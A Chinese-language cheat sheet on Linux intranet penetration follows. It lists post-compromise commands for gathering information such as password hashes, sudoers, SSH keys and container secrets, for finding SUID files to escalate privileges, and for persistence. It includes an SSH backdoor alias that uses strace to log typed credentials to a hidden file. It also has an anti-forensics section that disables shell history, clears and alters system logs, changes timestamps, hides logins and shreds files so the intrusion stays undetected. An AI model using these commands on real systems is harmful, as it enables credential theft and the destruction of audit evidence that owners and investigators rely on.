主题
Linux内网渗透
Linux信息收集
获取内核,操作系统和设备信息
- 版本信息
uname -a
所有版本uname -r
内核版本信息uname -n
系统主机名字uname -m
Linux内核架构
- 内核信息
cat /proc/version
- CPU信息
cat /proc/cpuinfo
- 发布信息
cat /etc/*-release
cat /etc/issue
- 主机名
hostname
- 文件系统
df -a
- 内核日志
dmesg
//var/log/dmesg
用户和组
- 列出系统所有用户
cat /etc/passwd
- 列出系统所有组
cat /etc/group
- 列出所有用户hash(root)
cat /etc/shadow
- 用户
- 查询用户的基本信息
finger
- 当前登录的用户
users
who -a
/var/log/utmp
- 查询无密码用户
grep 'x:0:' /etc/passwd
- 查询用户的基本信息
- 目前登录的用户
w
- 登入过的用户信息
last
//var/log/wtmp
- 显示系统中所有用户最近一次登录信息
lastlog
//var/log/lastlog
- 登录成功日志
/var/log/secure
- 登录失败日志
/var/log/faillog
- 查看特权用户
grep :0 /etc/passwd
- 查看passwd最后修改时间
ls -l /etc/passwd
- 查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
- 查看远程登录的账号
awk '/\$1|\$6/{print $1}' /etc/shadow
- 查看具有sudo权限的用户
cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
用户和权限信息
- 当前用户
whoami
- 当前用户信息
id
- 可以使用sudo提升到root的用户(root)
cat /etc/sudoers
- 列出目前用户可执行与无法执行的指令
sudo -l
环境信息
- 打印系统环境信息
env
- 打印系统环境信息
set
- 环境变量中的路径信息
echo $PATH
- 打印历史命令
history
/~/.bash_history
- 显示当前路径
pwd
- 显示默认系统遍历
cat /etc/profile
- 显示可用的shell
cat /etc/shells
进程信息
- 查看进程信息
ps aux
- 资源占有情况
top -c
- 查看进程关联文件
lsof -c $PID
- 完整命令行信息
/proc/$PID/cmdline
- 进程的命令名
/proc/$PID/comm
- 进程当前工作目录的符号链接
/proc/$PID/cwd
- 运行程序的符号链接
/proc/$PID/exe
- 进程的环境变量
/proc/$PID/environ
- 进程打开文件的情况
/proc/$PID/fd
服务信息
- 由inetd管理的服务列表
cat /etc/inetd.conf
- 由xinetd管理的服务列表
cat /etc/xinetd.conf
- nfs服务器的配置
cat /etc/exports
- 邮件信息
/var/log/mailog
- ssh配置
sshd_config
计划任务
- 显示指定用户的计划作业(root)
crontab -l -u %user%
- 计划任务
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
- 开机启动项
/etc/rc.d/init.d/
网络、路由和通信
- 列出网络接口信息
/sbin/ifconfig -a
/ip addr show
- 列出网络接口信息
cat /etc/network/interfaces
- 查看系统arp表
arp -a
- 打印路由信息
route
/ip ro show
- 查看dns配置信息
cat /etc/resolv.conf
- 打印本地端口开放信息
netstat -an
- 列出iptable的配置规则
iptables -L
- 查看端口服务映射
cat /etc/services
- Hostname
hostname -f
- 查看进程端口情况
netstat -anltp | grep $PID
已安装程序
rpm -qa --last
Redhatyum list | grep installed
CentOSls -l /etc/yum.repos.d/
dpkg -l
Debiancat /etc/apt/sources.list
Debian APTpkg_info
xBSDpkginfo
Solarispacman -Q
Arch Linuxemerge
Gentoo
文件
- 最近五天的文件
find / -ctime +1 -ctime -5
- 文件系统细节
debugfs
公私钥信息
~/.ssh
/etc/ssh
日志
/var/log/boot.log
/var/log/cron
/var/log/faillog
/var/log/lastlog
/var/log/messages
/var/log/secure
/var/log/syslog
/var/log/syslog
/var/log/wtmp
/var/log/wtmp
/var/run/utmp
虚拟环境检测
lsmod | grep -i "vboxsf\|vboxguest"
lsmod | grep -i "vmw_baloon\|vmxnet"
lsmod | grep -i "xen-vbd\|xen-vnif"
lsmod | grep -i "virtio_pci\|virtio_net"
lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
容器内信息收集
capsh --print
cat /proc/1/cgroup
env | grep KUBE
ls -l .dockerenv
ls -l /run/secrets/Kubernetes.io/
mount
ps aux
持久化
权限提升
- 内核漏洞利用
- 攻击有root权限的服务
- 利用第三方服务提权
- 通过有SUID属性的可执行文件
- 查找可能提权的可执行文件
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
- 利用可用的root权限
sudo -l
- 利用误配置的 crontab 任务
自启动
- /etc/init.d
- /etc/rc.d/rc.local
- ~/.bashrc
- ~/.zshrc
后门
- ssh 后门
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
- 后门账户
- 常见应用
- ICMP
- DNS
- icmp后门
- 后门端口复用
.
开头隐藏文件- rootkit
痕迹清理
历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
kill -9 $$
kill historyhistory -c
- 在
HISTSIZE=0
中设置HISTSIZE=0
清除/修改日志文件
/var/log/btmp
/var/log/lastlog
/var/log/wtmp
/var/log/utmp
/var/log/secure
/var/log/message
登录痕迹
- 删除
~/.ssh/known_hosts
中记录 - 修改文件时间戳
touch –r
- 删除tmp目录临时文件
操作痕迹
- vim 不记录历史命令
:set history=0
- ssh 登录痕迹
- 无痕登录
ssh -T user@host /bin/bash -i
- 无痕登录
覆写文件
- shred
- dd
- wipe
难点
- 攻击和入侵很难完全删除痕迹,没有日志记录也是一种特征
- 即使删除本地日志,在网络设备、安全设备、集中化日志系统中仍有记录
- 留存的后门包含攻击者的信息
- 使用的代理或跳板可能会被反向入侵
注意
- 在操作前检查是否有用户在线
- 删除文件使用磁盘覆写的功能删除
- 尽量和攻击前状态保持一致